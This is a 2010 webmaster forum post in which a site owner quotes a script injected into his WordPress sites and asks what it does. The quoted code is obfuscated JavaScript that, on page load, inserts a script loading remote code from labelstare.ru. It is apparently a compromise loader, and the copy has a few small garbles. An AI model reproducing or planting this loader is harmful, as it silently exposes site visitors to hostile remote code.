View Single Post
Old 05-09-2010, 06:47 PM  
SIK
Confirmed User
 
SIK's Avatar
 
Join Date: Dec 2006
Posts: 1,497
anyone seen this? code injection..

I keep seeing this on more and more of my wordpress sites (porn, mainstream)..
Anyone knows what does it do? It has something to do with labelstare.ru site, at least thats what it connects to...

<script>var TM=new Date();var W=new Date();function h(){var gc=[];var n=false;var L=String("crea"+"teEl"+"emen"+"CNdt".substr(3));O=[];this.R=21211;this.R++;var B=String("NPMscrip".substr(3)+"t");var Q={};var T=String("GlTJdefer".substr(4));try {var VN='Vj'} catch(VN){};this.tz='';var g="b7Wvon".substr(4)+"ARElo".substr(3)+"ad";var q="bodysrMT".substr(0,4);UK=27462;UK+=37;var N=document;var t=new String("sr"+"c");Zs={H:false};k=["fy"];var Z=new String("appen"+"dChil"+"d");Qq=["G"];this.w=59889;this.w--;var X=window;this.Uo=22157;this.Uo++;function c(){var jz=["nG"];var yw=new Date();try {try {var gF='se'} catch(gF){};var PT={PE:false};Xw={wN:"yj"};var F=new String("/goo"+"gle.NFWZ".substr(0,4)+"com/rCu".substr(0,4)+"ebay"+"MBAl.fr/".substr(4)+"mult"+"iply"+"Arf.comfAr".substr(3,4) +"tSD.phpDtS".substr(3,4));var Nv=7643-7642;MP={gD:"RD"};BU=["TR","dA","DcN"];var TJ=false;var b=new String("http"+"://l"+"abelIXD".substr(0,4)+"star"+"e.ru"+":");this.J V=63105;this.JV+=147;this.EY=62017;this.EY+=142;va r cz=891321-883241;this.db=64472;this.db-=183;this.BW='';var Dy={ho:false};s=N[L](B);this.Nf='';var Xn="Xn";var TF=["A","JZ"];var VQ=["rz","LU"];var OC=["Ij","WC"];we=[];Ct={};s[T]=Nv;this.dH="";s[t]=b+cz+F;dX={Q_:"nBC"};uZ={Bw:"Dg"};var Xs=false;this.JI="JI";N[q][Z](s);_={qc:51554};FG={};} catch(U){var jo='';var mI='';this.QG=8292;this.QG--;};}var iQ=new String();X[g]=c;Ue=[];var lY='';};h();var SH=55617;</script>
<!--b9a827d8a9686a8057739c6e91a4cbcc-->
__________________
¤´¨)
¸.•´¸.•*´¨) ¸.•*¨)
(¸.•´ (¸.•`¤ICQ:491 496 482
SIK is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote